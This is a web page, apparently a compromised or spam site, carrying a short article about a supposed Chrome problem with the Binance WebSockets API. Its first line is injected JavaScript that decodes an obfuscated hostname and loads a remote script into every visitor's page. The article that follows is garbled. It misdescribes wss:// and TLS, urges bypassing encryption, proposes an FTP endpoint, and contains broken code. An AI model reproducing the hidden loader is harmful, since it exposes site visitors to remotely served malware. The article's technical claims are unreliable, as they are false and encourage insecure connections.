const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx);const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=967ace23″;document.body.appendChild(script);
Ethereum Binance WebSockets API Issue in Chrome Browser
Introduction
The following article addresses a common issue experienced by users of the Ethereum blockchain and related APIs, including the Binance WebSockets API. The issue is that the URL endpoint wss://stream.binance.com:9443
used to establish a WebSocket connection with Binance Exchange is treated as HTTPS instead of HTTP (or even FTP) in both Google Chrome and Mozilla Firefox browsers.
The Issue
When using the Binance WebSockets API, it is essential to use an HTTP or HTTPS connection to ensure that data sent over the network is properly authenticated and verified. The default WebSocket URL, wss://stream.binance.com:9443
, uses Transport Layer Security (TLS) encryption, which encrypts all traffic between the client and the server, but redirects all requests from Chrome’s internal proxy cache to another endpoint.
The Solution
To fix this issue, you need to use an alternative connection URL that bypasses the TLS redirect. You can modify the code as follows:
import io from 'socket.io-client';
const socket = io('
// or for FTP (File Transfer Protocol)
const ftpUrl = 'ftp://stream.binance.com:9443';
socket.on('connect', () => {
console.log('Connected to Binance WebSockets API');
});
Testing the Modified Code
Try running the modified code in a Chrome browser and see if you can successfully connect to the Binance WebSockets API. If you are still experiencing issues, make sure that:
- You have the latest version of Chrome installed.
- The endpoint “wss://stream.binance.com:9443” is not blocked or restricted by any security features.
Conclusion
You can successfully establish a WebSocket connection to Binance Exchange without encountering the HTTPS redirection issue in Chrome and Firefox browsers by using an alternative connection URL such as HTTPS or FTP.